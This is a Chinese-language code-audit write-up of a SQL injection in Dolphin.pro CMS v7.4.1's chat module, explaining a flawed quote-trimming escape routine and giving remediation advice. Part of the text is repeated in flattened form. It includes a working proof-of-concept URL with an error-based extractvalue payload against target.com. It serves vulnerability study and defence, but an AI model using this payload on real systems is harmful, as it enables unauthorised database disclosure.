代码审计 - dolphin.pro cms SQL注入漏洞,Bypass过滤规则
字数 1356 2025-08-18 11:38:28

Dolphin.pro CMS SQL注入漏洞分析与利用教学

漏洞概述

Dolphin.pro CMS v7.4.1版本中存在SQL注入漏洞,攻击者可通过精心构造的请求绕过系统的过滤机制,实现数据库信息泄露。该漏洞位于聊天模块的RzSetBlocked功能中,由于参数过滤不彻底和SQL语句拼接方式不安全导致。

受影响版本

  • Dolphin.pro CMS v7.4.1及之前版本
  • 已修复版本:v7.4.2

漏洞分析

漏洞位置

/flash/modules/chat/inc/actions.inc.php文件中的RzSetBlocked功能

漏洞触发流程

  1. 参数获取与处理

    $sId = isset($_REQUEST['id']) ? process_db_input($_REQUEST['id']) : '';
    $sUser = isset($_REQUEST['user']) ? process_db_input($_REQUEST['user']) : '';
    $bBlocked = isset($_REQUEST['blocked']) ? $_REQUEST['blocked'] == TRUE_VAL : false;
    
  2. 参数过滤机制
    通过process_db_input()函数处理输入参数,默认情况下调用escape()函数:

    function process_db_input($sText, $iStripTags = 0) {
        // ...
        return $oDb->escape($sText, false); // 调用escape函数
    }
    
  3. escape函数实现

    public function escape($sText, $bReal = true) {
        $pdoEscapted = $this->link->quote($sText);
        return trim($pdoEscapted, "'"); // 去除首尾单引号
    }
    
  4. SQL语句拼接

    function blockUser($iUserId, $iBlockedId, $bBlock) {
        if($bBlock) {
            getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'");
        } else {
            getResult("DELETE FROM `sys_block_list` WHERE `ID` = '" . $iUserId . "' AND `Profile` = '" . $iBlockedId . "'");
        }
    }
    

漏洞原理

  1. process_db_input()函数使用PDO的quote()方法对输入进行转义,但随后通过trim()去除了首尾的单引号
  2. 当攻击者提供id=admin'时:
    • quote()处理后变为'admin\''
    • trim()处理后变为admin\'
  3. 在SQL拼接时,形成:
    REPLACE INTO `sys_block_list` SET `ID` = 'admin\', `Profile` = '[可控部分]'
    
  4. 攻击者可以在user参数中注入SQL代码,利用\转义单引号使后续内容成为SQL语句的一部分

漏洞利用

利用条件

  • 需要知道或猜测一个有效的用户ID作为id参数
  • 需要blocked参数设置为true

利用POC

http://target.com/flash/XML.php?module=chat&app=1&action=RzSetBlocked&id=admin%27&user=%2bextractvalue(1,concat(0x7e,user()))%23&blocked=true

解码分析

  • id=admin%27admin'
  • user=%2bextractvalue(1,concat(0x7e,user()))%23+extractvalue(1,concat(0x7e,user()))#

生成的SQL语句

REPLACE INTO `sys_block_list` SET `ID` = 'admin\', `Profile` = '+extractvalue(1,concat(0x7e,user()))#'

利用效果

通过错误注入技术,数据库会返回包含当前用户信息的错误消息,通常记录在tmp/error.log文件中。

其他潜在漏洞点

代码中还存在多处类似的SQL拼接操作,可能也存在相同漏洞:

  1. /flash/modules/chat/inc/actions.inc.php Line 137
  2. /flash/modules/chat/inc/actions.inc.php Line 156
  3. /flash/modules/chat/inc/actions.inc.php Line 180
  4. /flash/modules/chat/inc/actions.inc.php Line 198
  5. /flash/modules/chat/inc/actions.inc.php Line 210

修复方案

  1. 升级到v7.4.2或更高版本
  2. 临时修复方案:
    • 修改process_db_input()函数,避免去除转义后的引号
    • 使用参数化查询替代字符串拼接

防御建议

  1. 始终使用参数化查询或预处理语句
  2. 避免在SQL语句中直接拼接用户输入
  3. 对输入验证采用白名单机制
  4. 实现多层防御,包括输入验证、输出编码和适当的权限控制

总结

该漏洞展示了即使使用了转义函数,不当的实现方式仍可能导致SQL注入风险。安全开发需要全面考虑输入处理、查询构建和上下文环境,单纯依赖转义函数不足以提供完整防护。

Dolphin.pro CMS SQL注入漏洞分析与利用教学 漏洞概述 Dolphin.pro CMS v7.4.1版本中存在SQL注入漏洞,攻击者可通过精心构造的请求绕过系统的过滤机制,实现数据库信息泄露。该漏洞位于聊天模块的 RzSetBlocked 功能中,由于参数过滤不彻底和SQL语句拼接方式不安全导致。 受影响版本 Dolphin.pro CMS v7.4.1及之前版本 已修复版本:v7.4.2 漏洞分析 漏洞位置 /flash/modules/chat/inc/actions.inc.php 文件中的 RzSetBlocked 功能 漏洞触发流程 参数获取与处理 : 参数过滤机制 : 通过 process_db_input() 函数处理输入参数,默认情况下调用 escape() 函数: escape函数实现 : SQL语句拼接 : 漏洞原理 process_db_input() 函数使用PDO的 quote() 方法对输入进行转义,但随后通过 trim() 去除了首尾的单引号 当攻击者提供 id=admin' 时: quote() 处理后变为 'admin\'' trim() 处理后变为 admin\' 在SQL拼接时,形成: 攻击者可以在 user 参数中注入SQL代码,利用 \ 转义单引号使后续内容成为SQL语句的一部分 漏洞利用 利用条件 需要知道或猜测一个有效的用户ID作为 id 参数 需要 blocked 参数设置为 true 利用POC 解码分析 id=admin%27 → admin' user=%2bextractvalue(1,concat(0x7e,user()))%23 → +extractvalue(1,concat(0x7e,user()))# 生成的SQL语句 利用效果 通过错误注入技术,数据库会返回包含当前用户信息的错误消息,通常记录在 tmp/error.log 文件中。 其他潜在漏洞点 代码中还存在多处类似的SQL拼接操作,可能也存在相同漏洞: /flash/modules/chat/inc/actions.inc.php Line 137 /flash/modules/chat/inc/actions.inc.php Line 156 /flash/modules/chat/inc/actions.inc.php Line 180 /flash/modules/chat/inc/actions.inc.php Line 198 /flash/modules/chat/inc/actions.inc.php Line 210 修复方案 升级到v7.4.2或更高版本 临时修复方案: 修改 process_db_input() 函数,避免去除转义后的引号 使用参数化查询替代字符串拼接 防御建议 始终使用参数化查询或预处理语句 避免在SQL语句中直接拼接用户输入 对输入验证采用白名单机制 实现多层防御,包括输入验证、输出编码和适当的权限控制 总结 该漏洞展示了即使使用了转义函数,不当的实现方式仍可能导致SQL注入风险。安全开发需要全面考虑输入处理、查询构建和上下文环境,单纯依赖转义函数不足以提供完整防护。